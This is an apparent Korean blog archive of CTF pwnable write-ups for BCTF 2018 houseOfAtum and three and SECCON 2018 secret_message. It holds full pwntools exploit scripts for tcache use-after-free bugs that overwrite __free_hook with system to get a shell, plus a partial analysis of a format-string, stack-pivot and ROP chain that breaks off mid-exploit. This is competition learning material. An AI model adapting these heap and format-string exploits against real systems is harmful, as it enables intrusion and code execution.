'2018/11'에 해당하는 글 6건

BCTF 2018 - houseOfAtum

CTF 2018.11.30 21:33

Category : pwnable


Summary : uaf, tcache, show function, confusion between tcache and fastbin, 2 notes




Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(data):
ru('Your choice:')
ss('1\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_edit(idx, data):
ru('Your choice:')
ss('2\x00')
ru('Input the idx:')
ss(str(idx)+'\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_del(idx, erase=False):
ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss(str(idx))
ru('Clear?(y/n):')
if erase:
ss('y\x00')
else:
ss('n\x00')
ru('Done!\n')

def cmd_show(idx):
ru('Your choice:')
ss('4\x00')
ru('Input the idx:')
ss(str(idx))
ru('Content:')
res = rl(False)
ru('Done!\n')
return res

#s = process('./atum')
s = remote('60.205.224.216', 9999)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

raw_input('>')

cmd_add('a')
cmd_add('b')
cmd_del(0)
cmd_del(0)

heap_base = u64(cmd_show(0).ljust(8, '\x00')) - 0x260
cmd_edit(0, (p64(0) + p64(0x91)) + (p64(0) + p64(0)) * 2 + (p64(0) + p64(0xa1)) + p64(heap_base+0x68))
cmd_edit(1, (p64(0) + p64(0)) * 3 + (p64(0) + p64(0x11)) + p64(0))
print hex(heap_base)

for _ in range(5):
cmd_del(0)

cmd_del(1, True)
cmd_del(0, True)

cmd_add('a') # 0
cmd_add('b') # 1
cmd_del(1, True)
cmd_add(p64(0)) # 1 : tcache.bins
cmd_del(0, True)
cmd_edit(1, p64(heap_base + 0x80) + (p64(0) + p64((0x250 - 0x70) | 1)))
cmd_add(p64(0)) # 0 : fake_chunk
for i in range(8):
if i == 7:
cmd_del(0, True)
else:
cmd_del(0) # into unsorted bin
cmd_edit(1, 'a' * 0x18)
libc_base = u64(cmd_show(1)[0x18:].ljust(8, '\x00')) - 0x3ebca0
print hex(libc_base)
libc_system = libc_base + 0x4f440
libc_free_hook = libc_base + 0x3ed8e8

cmd_edit(1, p64(libc_free_hook) + p64(0) * 4)
cmd_add(p64(libc_system))
cmd_edit(1, 'sh'.ljust(8, '\x00'))

ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss('1\x00')

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './atum': pid 29994
0x561917b54000
0x7f6282d24000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF' 카테고리의 다른 글

0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

BCTF 2018 - three

CTF 2018.11.30 21:32

Category : pwnable


Summary : uaf, tcache, without show function, overwrite STDOUT


HITCON 2018 의 baby_tcache 와 굉장히 유사한 문제. 


Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(data):
ru('Your choice:')
ss('1\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_edit(idx, data):
ru('Your choice:')
ss('2\x00')
ru('Input the idx:')
ss(str(idx)+'\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_del(idx, erase=False):
ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss(str(idx))
ru('Clear?(y/n):')
if erase:
ss('y\x00')
else:
ss('n\x00')
ru('Done!\n')


#s = process('./three')
s = remote('39.96.13.122', 9999)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_add('a' * 0x10 + (p64(0) + p64(0xa1)))
cmd_add('a' * 0x10 + (p64(0) + p64(0x31)))
cmd_add('a' * 0x10 + (p64(0) + p64(0x31)))

cmd_del(2, True)
cmd_del(1, True)
cmd_del(0)

cmd_edit(0, '\x68\xc0')
#raw_input('>')

cmd_add(p64(0))
cmd_add(p64(0)) # 2 : tcache[3]
cmd_del(1, True)
cmd_edit(2, '\x80')
cmd_add(p64(0)) # 1 : fake chunk
for i in range(0, 8):
if i == 7:
cmd_del(1, True)
else:
cmd_del(1)
cmd_edit(0, p64(0) +p64(0) + p64(0) + p64(0x51) + '\x60\x87')
#raw_input('>')
cmd_del(0, True)

cmd_edit(2, '\x80')
cmd_add(p64(0))

ru('Your choice:')
ss('1\x00')
ru('Input the content:')
ss(p64(0xfbad1800) + p64(0)*3 + '\x00')
data = ru('Done!\n')

if len(data) < 8:
s.close()
exit(-1)

libc_base = u64(data[8:16]) - 0x3ed8b0
libc_system = libc_base + 0x4f440
libc_free_hook = libc_base + 0x3ed8e8

print hex(libc_base)
cmd_del(0, True)
cmd_edit(2, p64(libc_free_hook))
cmd_add(p64(libc_system))

cmd_edit(1, 'sh\x00')
ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss('1\x00')
s.interactive()
s.close()


$ while [ 1 ] ; do python exploit.py ; done
[+] Starting local process './three': pid 1990
Traceback (most recent call last):

............................

ne 126, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/home/pwn3r/.local/lib/python2.7/site-packages/pwnlib/tubes/process.py", line 694, in recv_raw
raise EOFError
EOFError
[*] Process './three' stopped with exit code -11 (SIGSEGV) (pid 2113)
[+] Starting local process './three': pid 2118
0x7f496f77c000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable



secret_message

494

2 Solves

Let's share a secret with us nc secret-message.pwn.seccon.jp 31337


(Hint: We allow a "little" bruteforcing to secret_message only.)


Summary : ascii art, out of boundary, double staged format string attack, * precision, fread, fwrite



off by one 취약점으로 풀어야 하는줄 알고 초반에 방향 잘못 잡았던 문제.

fsb 로 취약점으로 풀이가능하다. 문제 description에서 "little" brute force를 허용해주는 것으로 보아 GOT에 partial overwrite를 의도한 것으로 추측되지만, payload를 잘 구성하니 one shot exploit 가능했다. 


재밌었음.



Concept

# encode
$ ./secret_message
welcome~
e
to :
toto
from :
fromfrom
filename :
hello
message length :
2
message :
ab

# decode
$ ./secret_message
welcome~
s
path :
hello

__ _
/ _` |
| (_| |
\__,_|

_
| |__
| '_ \
| |_) |
|_.__/


from : fromfrom
to : toto

바이너리를 실행하면 위와 같이 e(encode)와 s(decode) 2가지 기능이 존재한다. e는 alphanum characters를 입력받아 file에 encode하여 저장하며, s는 file을 열어 decode 하고 ascii art 형태로 보여준다. 

기능은 간단하지만, encode/decode 루틴이 꽤 복잡하다. 생성되는 file의 구조는 아래와 같다.


$ xxd files/hello
00000000: 4254 5300 0200 0000 0800 0000 0400 0000 BTS.............
00000010: 12ab 0000 0003 0000 3000 0000 0000 0000 ........0.......
00000020: bdf2 01b0 c92d 1db3 dadc d0e6 b6b9 6973 .....-........is
00000030: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
00000040: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
00000050: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
00000060: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
00000070: e050 4ca4 a7be 68d4 f7e9 9f5d b4fd 74b8 .PL...h....]..t.
00000080: 7aff 7177 cd02 dadc f7e9 9f5d b4fd 74b8 z.qw.......]..t.
00000090: b07a 2b34 237e 07cc 4e90 9fb6 7411 9b88 .z+4#~..N...t...
000000a0: 6640 e65b 3394 aba2 4e90 9fb6 7411 9b88 f@.[3...N...t...
000000b0: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
000000c0: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
000000d0: fd9b d0b8 9054 6afb 26c9 6715 d75a 5da1 .....Tj.&.g..Z].
000000e0: 887d 8c18 a48b b530 26c9 6715 d75a 5da1 .}.....0&.g..Z]. XXXX : file header

000000f0: dabe 2f8c dcfe 389d 6497 a2e9 b691 e9a3 ../...8.d....... XXXX : letter header
00000100: 68a8 a196 d35e e2ee 6497 a2e9 b691 e9a3 h....^..d....... XXXX : letter data (encoded)
00000110: b07a 2b34 237e 07cc 4e90 9fb6 7411 9b88 .z+4#~..N...t... XXXX : from, to
00000120: 6640 e65b 3394 aba2 4e90 9fb6 7411 9b88 f@.[3...N...t...
00000130: 8a15 fe5e ef13 d93f 8234 af5f 5d3f b2a6 ...^...?.4._]?..
00000140: fd9b d0b8 9054 6afb 8234 af5f 5d3f b2a6 .....Tj..4._]?..
00000150: 0833 c08a f935 daf2 30fe 7b05 804f 5187 .3...5..0.{..OQ.
00000160: 5d3d bf73 5915 f4aa 30fe 7b05 804f 5187 ]=.sY...0.{..OQ.
00000170: 8afe 4a7a cd71 7958 8f24 b09c 3a92 ff80 ..Jz.qyX.$..:...
00000180: 64d2 d326 0785 1ebc 8f24 b09c 3a92 ff80 d..&.....$..:...
00000190: 9167 80d2 98e5 6395 b07a 2b34 237e 07cc .g....c..z+4#~..
000001a0: 39a3 0556 13bc c115 b07a 2b34 237e 07cc 9..V.....z+4#~..
000001b0: 7346 cb00 b6ec e49d 0214 337e 3a10 48d3 sF........3~:.H.
000001c0: 5b07 678f 7d2b c949 0214 337e 3a10 48d3 [.g.}+.I..3~:.H.
000001d0: ad38 e9ef ccf6 7e90 8573 1302 3239 246b .8....~..s..29$k
000001e0: ea84 dd1b 1e80 97e6 8573 1302 3239 246b .........s..29$k
000001f0: e7b6 55aa d40f ffc8 7715 7f8d d689 8c11 ..U.....w.......
00000200: 52df aa7c c1cf bce1 7715 7f8d d689 8c11 R..|....w.......
00000210: 9167 80d2 98e5 6395 b07a 2b34 237e 07cc .g....c..z+4#~..
00000220: 39a3 0556 13bc c115 b07a 2b34 237e 07cc 9..V.....z+4#~..
00000230: 48ee a728 4fba 1c17 1659 1b58 9ccd 0d34 H..(O....Y.X...4
00000240: c73d ca07 2ed9 53d7 1659 1b58 9ccd 0d34 .=....S..Y.X...4
00000250: fd9b d0b8 9054 6afb 26c9 6715 d75a 5da1 .....Tj.&.g..Z].
00000260: 887d 8c18 a48b b530 26c9 6715 d75a 5da1 .}.....0&.g..Z].
00000270: bcc6 67ca d209 d643 b02b d384 2837 15c6 ..g....C.+..(7..
00000280: 64a6 3cf4 8978 428e b02b d384 2837 15c6 d.<..xB..+..(7..
00000290: 9167 80d2 98e5 6395 b07a 2b34 237e 07cc .g....c..z+4#~..
000002a0: 39a3 0556 13bc c115 b07a 2b34 237e 07cc 9..V.....z+4#~..
000002b0: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
000002c0: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
000002d0: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
000002e0: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
000002f0: e050 4ca4 a7be 68d4 f7e9 9f5d b4fd 74b8 .PL...h....]..t.
00000300: 7aff 7177 cd02 dadc f7e9 9f5d b4fd 74b8 z.qw.......]..t.
00000310: b07a 2b34 237e 07cc 4e90 9fb6 7411 9b88 .z+4#~..N...t...
00000320: 6640 e65b 3394 aba2 4e90 9fb6 7411 9b88 f@.[3...N...t...
00000330: 12ab 0000 0003 0000 3000 0000 0000 0000 ........0.......
00000340: b004 5e53 3a11 8591 4fcb 785a 9e96 3d2d ..^S:...O.xZ..=-
00000350: a801 175c 3625 fbb7 5025 ccc0 a8c2 29f1 ...\6%..P%....).
00000360: d35c a0b9 fcea 07f2 05cf a7e6 b47d 3a26 .\...........}:&
00000370: d35c a0b9 fcea 07f2 0fc5 43b9 d5e0 d4dd .\........C.....
00000380: 7e29 5f80 3622 0055 e289 8d0f b016 dffc ~)_.6".U........
00000390: 8b54 c3a6 143e 958b 0118 17b5 ddaa f43e .T...>.........>
000003a0: 8da7 a43a b6e3 a8c9 331e 1f5d 5031 aeda ...:....3..]P1..
000003b0: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
000003c0: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
000003d0: 98f8 0f14 4366 6a95 d540 cf57 ac17 5035 ....Cfj..@.W..P5
000003e0: d3b2 6f19 5775 7b29 d540 cf57 ac17 5035 ..o.Wu{).@.W..P5
000003f0: 5ba6 e0a7 b7bb 1140 b77b 3a4b c7f4 7677 [......@.{:K..vw
00000400: 1eb2 0f4e 1182 4606 b77b 3a4b c7f4 7677 ...N..F..{:K..vw
00000410: f1c8 bcd7 538a 578d 331e 1f5d 5031 aeda ....S.W.3..]P1..
00000420: 1fca b543 de82 e377 0d06 3d0e 2c73 32a4 ...C...w..=.,s2.
00000430: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
00000440: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
00000450: 98f8 0f14 4366 6a95 d540 cf57 ac17 5035 ....Cfj..@.W..P5
00000460: d3b2 6f19 5775 7b29 d540 cf57 ac17 5035 ..o.Wu{).@.W..P5
00000470: a1a9 faa6 46a7 bc2d 4787 bfdd 1c32 fa41 ....F..-G....2.A
00000480: 8387 b68c ba97 4df6 a7a8 0a42 a552 58b9 ......M....B.RX.
00000490: 0a8b e48c ec96 95be 8edd 022c beac c473 ...........,...s
000004a0: 6a84 6273 c29d 38ff 7763 1642 3a55 8008 j.bs..8.wc.B:U..
000004b0: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
000004c0: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
000004d0: 98f8 0f14 4366 6a95 d540 cf57 ac17 5035 ....Cfj..@.W..P5
000004e0: d3b2 6f19 5775 7b29 d540 cf57 ac17 5035 ..o.Wu{).@.W..P5
000004f0: 5ba6 e0a7 b7bb 1140 b77b 3a4b c7f4 7677 [......@.{:K..vw
00000500: 1eb2 0f4e 1182 4606 b77b 3a4b c7f4 7677 ...N..F..{:K..vw
00000510: bba2 af3a 811b 9c6d fa5e 6139 02e7 f639 ...:...m.^a9...9
00000520: 2ef5 d480 4b7b b496 2e88 5c8f a145 4e56 ....K{....\..ENV
00000530: d01c febb c71b 21ce de06 d03c f798 3bd5 ......!....<..;.
00000540: afae cdb3 4dd3 8118 de06 d03c f798 3bd5 ....M......<..;.
00000550: 5ba6 e0a7 b7bb 1140 b77b 3a4b c7f4 7677 [......@.{:K..vw
00000560: 1eb2 0f4e 1182 4606 b77b 3a4b c7f4 7677 ...N..F..{:K..vw
00000570: 5625 c5f6 8122 3fc7 a404 d674 ce8f 4ffa V%..."?....t..O.
00000580: fe82 e8e2 a803 43fe cf7c 8e7b 1c84 9348 ......C..|.{...H
00000590: 027d 0601 f5b3 f18a 5ee3 a5ad 4197 8f82 .}......^...A...
000005a0: 5b3e 37b2 f782 c2da 4256 a7a2 b649 56c1 [>7.....BV...IV.
000005b0: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
000005c0: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
000005d0: d35c a0b9 fcea 07f2 0fc5 43b9 d5e0 d4dd .\........C.....
000005e0: 7e29 5f80 3622 0055 e289 8d0f b016 dffc ~)_.6".U........
000005f0: d35c a0b9 fcea 07f2 0fc5 43b9 d5e0 d4dd .\........C.....
00000600: 7e29 5f80 3622 0055 e289 8d0f b016 dffc ~)_.6".U........
00000610: 8b54 c3a6 143e 958b 0118 17b5 ddaa f43e .T...>.........>
00000620: 8da7 a43a b6e3 a8c9 331e 1f5d 5031 aeda ...:....3..]P1..
00000630: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
00000640: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
00000650: 6672 6f6d 6672 6f6d 746f 746f fromfromtoto

0x10 byte의 file header와 저장된 글자수 만큼 반복되는 letter header + letter data. 그리고 마지막에 from과 to가 저장된다. magic number가 BTS인걸로 보아 출제자는 BTS의 엄청난 팬으로 추측된다.



Abuse a file



cmd_e 함수에서 사용자에게 filename 입력받을 때, file의 존재 여부를 검사하거나 lock을 걸지 않기 때문에, 여러 개의 process에서 동시에 1개의 file을 생성할 수 있다.


fwrite 함수는 기본적으로 buffer를 사용하기 때문에, 실제로 write system call 이 발생하는 시점은 아래와 같다.


(1) buffer(0x1000 byte)가 가득 차거나 

(2) fclose하는 시점에 buffer에 남아있는 data를 file에 write


이러한 특성을 이용하여 2개의 process가 함께 file을 생성하며 file header를 혼동시킬 수 있다. 시나리오를 그림으로 나타내면 아래와 같다


# process 1 input

$ ./secret

welcome~ e to : BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB from : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA filename : file message length : 7 message : aaaaaa

(wait for a sec)

a

# process 2 input

$ ./secret

welcome~ e to : toto from : fromfrom filename : file message length : 8 message : aaaaaa



 

 

 

 

 

 


위와 같은 시나리오로 file을 생성하면 사용자가 입력한 from, to data를 위에서 지칭한 letter header, letter data로 인식시킬 수 있다. python으로 표현하면 아래와 같다. 

#filename
s1.recvuntil('filename : \n')
s1.sendline('file')

s2.recvuntil('filename : \n')
s2.sendline('file')

#message length
s1.recvuntil('message length :\n')
s1.sendline(str(6 + 1))

s2.recvuntil('message length :\n')
s2.sendline(str(6 + 2))

#message
s1.recvuntil('message : \n')
s2.recvuntil('message : \n')
s1.send('a' * 6)
s2.send(message)
time.sleep(4)
s2.close()

s1.send('a')
time.sleep(4)
s1.close()


OOB + Format String Bug


cmd_s(decode) 함수에서는 letter data를 decode 하여 출력할 ascii art character의 index를 계산한다.


format은 ascii art character의 주소들이 나열된 table이다. format string을 거치지 않고 그대로 출력하기 때문에, fsb 취약점이 존재한다. 

.data:60A140                         ; char *format
.data:60A140 18 7A 40 00 00 00 00 00 format dq offset a__V ; DATA XREF: decrypt_401C74+3BCr
.data:60A140 ; decrypt_401C74+3E4r
.data:60A140 ; "|"
.data:60A148 1A 7A 40 00 00 00 00 00 dq offset asc_407A1A ; " "
.data:60A150 1C 7A 40 00 00 00 00 00 dq offset asc_407A1C ; "
"
.data:60A158 1E 7A 40 00 00 00 00 00 dq offset a_ ; "_"
.data:60A160 20 7A 40 00 00 00 00 00 dq offset asc_407A20 ; "/"
.data:60A168 22 7A 40 00 00 00 00 00 dq offset asc_407A22 ; "`"
.data:60A170 24 7A 40 00 00 00 00 00 dq offset asc_407A24 ; "("
.data:60A178 26 7A 40 00 00 00 00 00 dq offset asc_407A26 ; "\"
.data:60A180 28 7A 40 00 00 00 00 00 dq offset asc_407A28 ; ","
.data:60A188 2A 7A 40 00 00 00 00 00 dq offset asc_407A2A ; "'"
.data:60A190 2C 7A 40 00 00 00 00 00 dq offset asc_407A2C ; ")"
.data:60A198 2E 7A 40 00 00 00 00 00 dq offset a__0 ; "."
.data:60A1A0 30 7A 40 00 00 00 00 00 dq offset asc_407A30 ; "<"
.data:60A1A8 32 7A 40 00 00 00 00 00 dq offset asc_407A32 ; ">"
.data:60A1B0 34 7A 40 00 00 00 00 00 dq offset aV ; "V"
.data:60A1B8 00 00 00 00 00 00 00 00 align 20h
.data:60A1C0 08 07 06 05 04 03 02 01 checksum_60A1C0 dq 102030405060708h ; DATA XREF: sub_4011E6+6Dr
.data:60A1C0 ; decrypt_401C74+181r
.data:60A1C0 _data ends
.data:60A1C0
.bss:60A1D0 ; ===========================================================================
.bss:60A1D0
.bss:60A1D0 ; Segment type: Uninitialized
.bss:60A1D0 ; Segment permissions: Read/Write
.bss:60A1D0 _bss segment para public 'BSS' use64
.bss:60A1D0 assume cs:_bss
.bss:60A1D0 ;org 60A1D0h
.bss:60A1D0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:60A1D0 public stdin
.bss:60A1D0 ; FILE *stdin
.bss:60A1D0 ?? ?? ?? ?? ?? ?? ?? ?? stdin dq ? ; DATA XREF: sub_401007+4r
.bss:60A1D0 ; Copy of shared data
.bss:60A1D8 public stdout
.bss:60A1D8 ; FILE *stdout
.bss:60A1D8 ?? ?? ?? ?? ?? ?? ?? ?? stdout dq ? ; DATA XREF: sub_401007+13r
.bss:60A1D8 ; Copy of shared data
.bss:60A1E0 ?? byte_60A1E0 db ? ; DATA XREF: sub_400F60r
.bss:60A1E0 ; sub_400F60+13w
.bss:60A1E1 ; std::ios_base::Init unk_60A1E1
.bss:60A1E1 ?? unk_60A1E1 db ? ; ; DATA XREF: sub_40103D+1Do
.bss:60A1E1 ; sub_40103D+2Co
.bss:60A1E2 ?? db ? ;
.bss:60A1E3 ?? db ? ;
.bss:60A1E4 ?? db ? ;
.bss:60A1E5 ?? db ? ;
.bss:60A1E6 ?? db ? ;
.bss:60A1E7 ?? db ? ;
.bss:60A1E8 ; void *from_buf
.bss:60A1E8 ?? ?? ?? ?? ?? ?? ?? ?? from_buf dq ? ; DATA XREF: cmd_s_4020AC+F4w
.bss:60A1E8 ; cmd_s_4020AC+113r ...
.bss:60A1F0 ; void *to_buf_60A1F0
.bss:60A1F0 ?? ?? ?? ?? ?? ?? ?? ?? to_buf_60A1F0 dq ? ; DATA XREF: cmd_s_4020AC+10Cw
.bss:60A1F0 ; cmd_s_4020AC+129r ...
.bss:60A1F8 ; char *decrypt_filename
.bss:60A1F8 ?? ?? ?? ?? ?? ?? ?? ?? decrypt_filename dq ? ; DATA XREF: cmd_s_4020AC+13w
.bss:60A1F8 ; cmd_s_4020AC+24r ...
format table의 size는 8 * 15 이다. calc_index_202784 함수의 return value에 대한 boundary check가 이루어지지 않는다면, return value를 0x17로 만들어, printf(decrypt_filename); 으로 fsb 취약점을 trigger 할 수 있다.
// decrypt filename은 초기에 입력받은 file path


idx가 format table을 벗어나는지에 대한 check가 이루어지지 않기 때문에, OOB가 발생한다. 즉, letter header + letter data를 잘 control하면 idx를 0x17로 만들어 fsb를 trigger 할 수 있다.



Create an evil message


calc_index_402784 함수의 return value를 0x17 byte 로 만드는 letter format + letter data가 필요하다. encode / decode routine복잡하기 때문에 다 분석한다면 꽤나 고생하겠지만, 이를 전부 분석 할 필요없다. 문제 binary에서 encode 기능과 관련된 table을 패치하여 간단하게 얻을 수 있다. 

$ diff original.xxd patched.xxd
1629,1631c1629,1631
< 000065c0: 0101 0101 0101 0102 0101 0303 0103 0102 ................
< 000065d0: 0104 0103 0501 0002 0001 0603 0001 0002 ................
< 000065e0: 0107 0303 0803 0002 0101 0101 0101 0102 ................
---
> 000065c0: 1700 0000 0000 0000 ffff ffff ffff ffff ................
> 000065d0: ffff ffff ffff ffff ffff ffff ffff ffff ................
> 000065e0: ffff ffff ffff ffff ffff ffff ffff ffff ................
1939c1939
< 00007920: 3000 0000 3000 0000 2a00 0000 3000 0000 0...0...*...0...
---
> 00007920: 0800 0000 3000 0000 2a00 0000 3000 0000 ....0...*...0...

문제 binary에서 문자 'a' 를 구성하는 ascii art 정보를 변경했다. 0x7920에는 'a'의 ascii art를 구성하기 위한 문자의 개수가 나와있다.(0x30) 이를 최소값인 8로 바꾼다. 0x65c0에는 'a'의 ascii art를 구성하는 문자들의 index가 저장되어있다. 첫 byte만 0x17로 변경하고 나머지 7byte는 아무렇게나 바꾼다.


patch된 프로그램을 실행하여 "%p %p %p %p"라는 파일에 'a'를 encode한다.

$ ./patched
welcome~
e
to :
toto
from :
fromfrom
filename :

%p %p %p %p
message length :
1
message :
a

이제 "%p %p %p %p" file을 decode 해보면 format을 기준으로 0x17에 있는 decrypt_filename을 출력하여 fsb가 trigger 된다.

$ ./patched
welcome~
s
path :
%p %p %p %p
0x7f7255b463a0 (nil) 0x3c 0x348||||||| <--------------------- printf(filename);
from : fromfrom
to : toto

encode routine에 대한 상세분석 없이 FSB 를 trigger 하는 data 를 얻었다. 

file에서 letter header와 letter data를 exploit에서 사용하면 된다.

$ xxd files/%p\ %p\ %p\ %p
00000000: 4254 5300 0100 0000 0800 0000 0400 0000 BTS.............
00000010: 12ab 0000 8000 0000 0800 0000 0000 0000 ................
00000020: a89f be76 7bf1 7de7 48d5 40aa 96aa 2155 ...v{.}.H.@...!U
00000030: a098 b873 7ff2 7fe6 17ab 38c6 3744 88bf ...s......8.7D..
00000040: a935 bcb8 6068 a9f0 fb4d a1ce 00da 94d7 .5..`h...M......
00000050: ac8b 6b2e 91f5 262e ac8b 6b2e 91f5 262e ..k...&...k...&.
00000060: ac8b 6b2e 91f5 262e ac8b 6b2e 91f5 262e ..k...&...k...&.
00000070: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
00000080: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
00000090: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
000000a0: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
000000b0: 6672 6f6d 6672 6f6d 746f 746f fromfromtoto


How to exploit


(1) FSB -> fake ebp -> rip control


fsb 로 덮을 대상으로 sfp를 선택했다. 마침 fsb가 발생하는 시점이 main 함수로부터 2번째 내부 함수이기 때문에 sfp를 user controllable한 영역으로 변경하면, main에서 leave; ret를 하는 시점에 rsp가 user controllabe 영역으로 변경되어 rip를 control 할 수 있다.


그렇다면 user controllable한 영역은 어디가 있을까. fwrite와 마찬가지로 fread 함수는 기본적으로 0x1000 단위로 file data를 heap에 읽어두기 때문에, to/from에 payload를 저장하면 heap에 payload를 write할 수 있다. 


하지만 아직 heap 주소를 모르기 때문에, %n 시점에 출력 카운트를 heap주소로 만드는 것이 불가능하다. 라고 생각할 수 있지만 format string에 '*' precision을 이용하면 heap 주소를 몰라도 heap 주소만큼 출력 카운트를 만들어주는 것이 가능하다.

##################################################################
fsb = '%*56$c%{}c%52$ln'.format(0x61df30 - 0x61d650 - 8)
'''
XXXX : heap address

XXXX : user controllable data - heap address

XXXX : sfp


0x7fffffffdbe0: 0x7fffffffdc20 0x40220c
0x7fffffffdbf0: 0x7ffff7530120 <pa_next_type> 0x1700000007
0x7fffffffdc00: 0x61d650 0x61d880 // 56th idx
0x7fffffffdc10: 0x7ffff75308e0 <_IO_2_1_stdin_> 0x0
0x7fffffffdc20: 0x7fffffffdc50 0x400fe8
0x7fffffffdc30: 0x7fffffffdd38 0x100400eb0
0x7fffffffdc40: 0x7fffffffdd30 0x7300000000000000

# user controllable data
0x61df30: 0x6161616161616161 0x6161616161616161
0x61df40: 0x6161616161616161 0x6161616161616161
0x61df50: 0x6161616161616161 0x6161616161616161
0x61df60: 0x6161616161616161 0x6161616161616161
0x61df70: 0x6161616161616161 0x6161616161616161
0x61df80: 0x6161616161616161 0x6161616161616161

>>> 0x61df30 - 0x61d650
2272
'''
##################################################################

56번째 인자로 heap주소(0x61d650)가 존재한다. '*' precision의 참조 위치를 56번째로 지정해주고 출력하면, 0x61d650만큼의 출력 카운트가 만들어진다. user controllable data는 0x61df30 부터 있으므로 (0x61df30 - 0x61d650) 만큼 더 출력 카운트를 올려준다. sfp에 %ln을 하면 cmd_s 함수의 sfp가 0x61df30 으로 변경되고, main 함수에서 leave; ret 하는 시점에 stack이 0x61df30쪽으로 pivot되어 0x6161616161616161로 ret 할 것이다.


(2) ROP


그럼 user controllable data에 넣을 ROP payload를 구성하면 된다. 다행히 pie가 disable 되어있으므로 binary 내에 존재하는 gadget을 이용할 수 있다. payload는 아래와 같이 구성했다.


puts(fopen_got) -> read(0, fopen_got, 8) -> cmd_s()


puts함수로 fopen_got에 있는 libc 주소를 leak하고, system 함수 주소를 계산한다.

fopen_got에 system 함수 주소를 overwrite하고, fopen함수를 호출하는 cmd_s로 돌아간다.

cmd_s함수를 호출하면 사용자에게 입력받아 명령을 실행할 수 있다.



구성한 ROP payload는 아래와 같다.

############## rop payload inside the file (to) ##################
pop_rdi = 0x406583
pop_rsi_r15 = 0x406581
do_read = 0x4010e8
puts_plt = 0x400ce0
fopen_got = 0x60a068
decode_msg = 0x4020ac
freespace = 0x60af00

pay = ''
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(puts_plt)
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(pop_rsi_r15)
pay += p64(8)
pay += p64(0x0)
pay += p64(do_read)
pay += p64(decode_msg)
###################################################################

...............
...............

# to
s1.recvuntil('to : \n')
s1.sendline(pay)

...............

...............


libc_system = libc_base + 0x45390
print hex(libc_base)
s3.send(p64(libc_system))

s3.recvuntil('path : \n')
s3.sendline('sh')


s3.interactive()


Exploit

#!/usr/bin/python

from pwn import *

REMOTE = True

message = 'a' * 6

###### fake message to trigger fsb via printf(filename) ########
fake_message = ''
# header
fake_message += '\x12\xab\x00\x00'
fake_message += p32(0x80) # data size
